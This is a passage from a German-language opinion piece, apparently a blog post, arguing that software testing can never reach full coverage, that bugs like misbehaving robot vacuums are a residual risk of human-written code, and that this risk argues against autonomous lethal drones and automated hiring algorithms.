Während der Frisör deshalb mit einem minimalen Korrektiv auskommt (z.B. dem Kunden den Spiegel hinter den Kopf halten und fragen, ob’s gefällt), muss die Software deutlich höhere Hürden überwinden, um in die freie Wildbahn entlassen zu werden. Da ist zunächst mal die Suite von Unit Tests (Sie haben doch Unit-Tests, oder?), Integrationstests auf einer Testumgebung und die Abnahme auf einer Staging-Umgebung bzw. weitere Ende-zu-Ende-Tests, sei es automatisiert oder manuell. Im Idealfall jedenfalls. Eine Testabdeckung von 100% aller Fälle ist jedoch utopisch. Das gilt umso mehr, wenn Endgeräte im Spiel sind, die über individuelle Daten verfügen (z.B. Aufzeichnungen über die Geometrie zu saugender Räume). Die kann man nicht alle testen. Geht nicht.

Also sind halt bisweilen ein paar Staubsauger-Bots besoffen.

Software wird von Menschen geschrieben, die nicht perfekt sind. Folglich kann auch das Produkt nicht perfekt sein. Deshalb wird Software immer ein Restrisiko mit sich bringen. Es mag bei guten Programmierern (die mein Buch gelesen haben) klein sein, aber nie Null. Wer von Software Wunder erwartet, übersieht den menschlichen Faktor. Wer den menschlichen Faktor übersieht, kalkuliert Kosten für Fehlerbehebung oder Wartung nicht hinreichend in die Wirtschaftlichkeitsanalyse ein – und gelang möglicherweise zu einem Ergebnis größer als Null und ist später überrascht, wenn er draufzahlt.

Disclaimer: Nein, dies ist keine pauschale Entschuldigung für Bugs. Schon gar nicht für solche, die durch guten Code und sauberes Testen vermeidbar gewesen wären. Es ist der ausdrückliche Wunsch nach realistischen Einschätzungen.

Wer die Anfälligkeit von Software mit einrechnet, kommt nämlich auch nicht auf so drollige Ideen wie z.B. autonome Drohnen mit tödlichen Waffen oder diskriminierende Algorithmen für die Sichtung von Bewerbungsunterlagen, Anwendungen also, die ein bisschen weniger witzig sind als besoffene Roboter.

tl;dr: Vermeiden Sie Fehler – aber tun Sie nicht so, als gäbe es keine.